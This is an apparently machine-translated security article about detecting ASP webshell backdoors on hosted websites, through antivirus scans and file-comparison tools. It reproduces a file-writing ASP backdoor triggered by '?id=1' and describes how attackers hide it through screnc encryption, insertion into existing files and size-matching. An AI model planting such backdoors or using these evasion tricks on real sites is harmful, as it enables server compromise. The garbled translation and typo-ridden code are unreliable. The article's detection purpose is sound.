Thoroughly Find Out asp backdoors in the web space

Source: www.hackbase.com
Some time ago, several important vulnerabilities have been detected on the Internet, which can cause intruders to place asp Trojans in the web space. asp Trojans are a headache for website administrators, it features high concealment and powerful functions, coupled with constantly refurbished types to escape anti-virus software. Once the web space is placed with different types of asp Trojans, It is very troublesome to clear them, after carefully organizing the web space, many friends still drive asp Trojans. They are helpless only when they replace all the web files!
Some tutorials on the Internet to prevent asp Trojans are based on advance prevention, such as prohibiting FSO and using NTFS to restrict user directories. Although these methods are effective, they are all based on advance prevention, and it is obviously impossible for users who buy space to make websites. Here I will talk about how to effectively discover and clear asp Trojans in a web space.
I found some tips by helping my friends sort out the web space. These skills are quite useful and I am afraid to share them with others.
I. Tip 1: scan and kill anti-virus software
Some friends may obtain the upload permission. The uploaded asp Trojan is a famous asp Trojan, for example, eclipasp and ocean top Trojan. Although these Trojans are powerful, however, anti-virus software has already been blacklisted. Therefore, using anti-virus software to scan files in a web space can effectively discover and clear these famous asp Trojans. This is an asp Trojan I detected in the web directory using the anti-virus software of rising star. The Trojan is marked as Script. ASP. rootkit.10.a: Search for the Trojan horse on the website of rising.
This method can effectively combat asp Trojans uploaded by some dishes, with obvious results.
Ii. Skills 2: FTP client comparison
Although the above method is useful for cainiao intruders, it almost loses its effect when encountering a slightly conscious intruder, because they can disguise and encrypt asp Trojans to hide anti-virus software, I personally prefer an asp encryption tool developed by Microsoft: screnc.exe,screnc.exe is an ASP encryption program. The encryption program is safer and completely changed the code, it is also very easy to use. Run the following command:
Screnc.exe, run the following command: Usage: screnc [/?] [/S] [/f] [/xl] [/l ScriptLanguage] [/e DefaultExtension] <source> <destination> as prompted, just enter: screnc.exe encrypts the asp Trojan name output by the asp Trojan name to be encrypted.
After encryption, open notepad to view the tag: <% ...... %>, <Script> </script>
The code in the tag becomes "garbled", and the anti-virus software detects and removes asp Trojans by searching for keywords. Aunt can obviously escape the search.
The official website of Shengda was hacked. The webpage Trojan code used screnc.exe to encrypt the website. After several days, it was discovered that the disguise of encryption was superb.
So we need to take other measures to deal with this encrypted and disguised asp Trojan. We can use the file comparison functions provided by some FTP client software (such as cuteftp and FlashFXP, by comparing the web files in FTP with the local backup files, we can find whether suspicious files are generated incorrectly.
FlashFXP is used as an example.
Step 1: Open FlashFXP, go to the local web backup file directory in the left window, and go to the web directory in the FTP window on the right.
Step 2: click "Tools" in the toolbar and select "compare folder command" to compare folders, which is very fast.
We can clearly see that 196 objects are filtered, and there are several more asp files in the FTP space :. asp, 2005. asp and so on. These are the asp backdoors left by intruders. Open and confirm.
Iii. Tip 3: Use Beyond Compare 2 for comparison
The above method of comparing files using the FTP client is effective, but it is powerless to penetrate into the file asp Trojan. Here we will introduce a penetration asp Trojan, code can be inserted into a specified web file, which is usually not displayed. asp Trojans can be opened only when the trigger statement is used, which is highly concealed. The Code is as follows:
<%
On error resume next
Id = request ("id ")
If request ("id") = 1 then
Testfile = Request. form ("name ")
Msg = Request. form ("message ")
Set fs = server. CreatObject ("scripting. filesystemobject ")
Set thisfile = fs. openTestFile (testfile, 8, True, 0)
Thisfile. Writeline ("" & msg &"")
Thisfile. close
Set fs = nothing
%>
<From method = "post" Action = "save "? Id = 1>
<Input type = "text" size = "20" name = "Name"
Value = <% = server. mappath ("XP. ASP") %>
<Textarea name = "Message" class = input>
 
</Textarea>
<Input type = "Submit" name = "send" Value = "generate"
Class = input>
</From>
<% End if %>
Note: When modifying the web file of the target host, you must note that such a file does not work after modification, that is, it contains the following: <! -- # Include file = "inc/conn. asp "--> such a file contains commands. When such code exists, the script backdoor is not displayed after the asp code is added, but the script backdoor code does not affect the display and function of the original file.
Assume that the editor_InsertPic.asp file under the target server www.tar get.com has been modified and the script backdoor code is inserted. The method to open the file is www. target.com/editor_insertpic.asp? Id = 1. What are the backdoor characters? Id = 1. With these characters, the script Backdoor can be displayed! In normal cases, open www. target..com/editor_InsertPic.asp? Id = 1, it will not reveal flaws.
This is really a tough way to place asp Trojans. What should I do if this happens? We can use Beyond Compare 2, a professional file comparison tool, to search for Trojans.
Beyond Compare 2 is a rare Professional-level folder and file comparison tool. You can easily compare the differences between two folders or files. In addition, each byte of the difference is represented in color for easy display. Comparison of multiple rules is also supported.
Let me use it to find the penetration asp Trojan.
Step 1: open Beyond Compare 2, click "Compare task" in the toolbar, select "new", and select "Compare two folders" in "Compare mode ". In the next step, select the two folders to be compared, that is, the backed up website files and the website files downloaded from FTP, in the "file filter" below, select "include all files ". Select "file size" in "compare range ". After the settings are complete, you can start the comparison.
Step 2: After the comparison is completed, the comparison results are displayed on both sides of the software interface, from which you can easily find out which directory contains the more files.
Step 3: files with the same file name but different sizes will be marked by another color by the software, select them, and then select the "compare content" function in "operations" on the toolbar, you can expand the details of the two files, from which we can see that the file on the FTP side is inserted into the penetration asp Trojan. This is easy to find!
 
4. Tip 4: Use component performance to find asp Trojans
The above section introduces several asp Trojan placement and killing techniques in different categories. Generally, cainiao and laruence are using the above methods to place asp Trojans! Therefore, it can effectively defend against asp Trojans uploaded in web spaces. Now you can rest assured, right? Haha! Don't worry, there is also a BT asp Trojan placement method, you may be hard to think of, the placement idea is like this: Find an uncommon in the target web space, suitable asp file, open it to streamline its code, and then insert the code penetrating asp Trojan, and then streamline it until it is the same size as the original file. Finally, it is processed by means of encryption and disguise. In this way, an asp Trojan backdoor that is absolutely hidden is thoroughly trained. It is difficult for intruders to do so, because the functions of the asp Trojan will not be wrong while streamlining the code.
If you encounter such an intruder, how can you find out the asp Trojan Horse placed by him? You may think it is impossible! It is entirely possible that I come up with the baby: Siyi asp Trojan hunting.
It is an asp software designed to search for functions of various asp files. It searches for special characters contained in asp Trojans and codes created by using variables to create objects and static objects, to identify asp files that may contain doubts, so as to effectively prevent asp Trojans.
It is very easy to use. You only need to upload the file asplist2.0.asp to the web space and open it in the address block to complete the retrieval of all asp files. It can be seen that it is determined whether it is an asp Trojan by searching the functions of various asp files. These functions are also common for asp Trojans: FSO, WS, SHELL, XML, and so on.
Generally, web files have very few such functions. Only the hateful asp Trojans have such functions. You can see that some files have a considerable number of functions. At this time, you can open these files to check whether they are asp Trojans, which is very effective.
When searching for asp Trojans in a web space, you are advised to combine several methods to effectively kill hidden asp Trojans.